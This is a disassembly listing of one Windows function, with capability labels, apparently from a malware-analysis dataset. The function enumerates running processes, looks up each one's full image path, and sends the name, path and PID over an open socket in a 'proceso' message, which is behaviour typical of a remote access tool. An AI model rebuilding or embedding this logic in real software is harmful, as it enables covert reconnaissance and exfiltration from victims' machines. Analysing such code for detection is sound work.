Function at 0x402de6
Capabilities:
Enumerate processes
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
sub esp, 0x260
mov dword [esp], str.KERNEL32.DLL
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 4], str.QueryFullProcessImageNameA
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0xc], eax
lea ebx, [ebp - 0x144]
mov al, 0
mov edx, 0x128
mov edi, ebx
mov ecx, edx
rep stosb byte es:[edi], al
mov dword [ebp - 0x144], 0x128
mov dword [esp + 4], 0
mov dword [esp], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x402e59
cmp dword [ebp - 0x10], 0
jne 0x402e6c
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40308f
lea eax, [ebp - 0x144]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
test eax, eax
sete al
test al, al
je 0x402ea0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40308f
lea eax, [ebp - 0x144]
add eax, 0x24
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x144]
add edx, 0x24
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0xa
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
jmp 0x40304e
mov dword [esp + 4], 0x105
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x144]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
test eax, eax
sete al
test al, al
je 0x402f5a
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40308f
mov eax, dword [ebp - 0x13c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x400
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x10], 0
jne 0x402f92
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0xc]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x13c]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x144]
add eax, 0x24
mov dword [esp + 8], eax
mov dword [esp + 4], str.proceso_s_s_d
lea eax, [ebp - 0x248]
mov dword [esp], eax
call sub.USER32.dll_wsprintfA
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
lea eax, [ebp - 0x248]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x248]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov dword [esp], 0x19
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp + 4], 0x4258c7
lea eax, [ebp - 0x144]
add eax, 0x24
mov dword [esp], eax
call sub.KERNEL32.dll_lstrcmpA
sub esp, 8
test eax, eax
setne al
test al, al
jne 0x402f0c
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x40308f
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret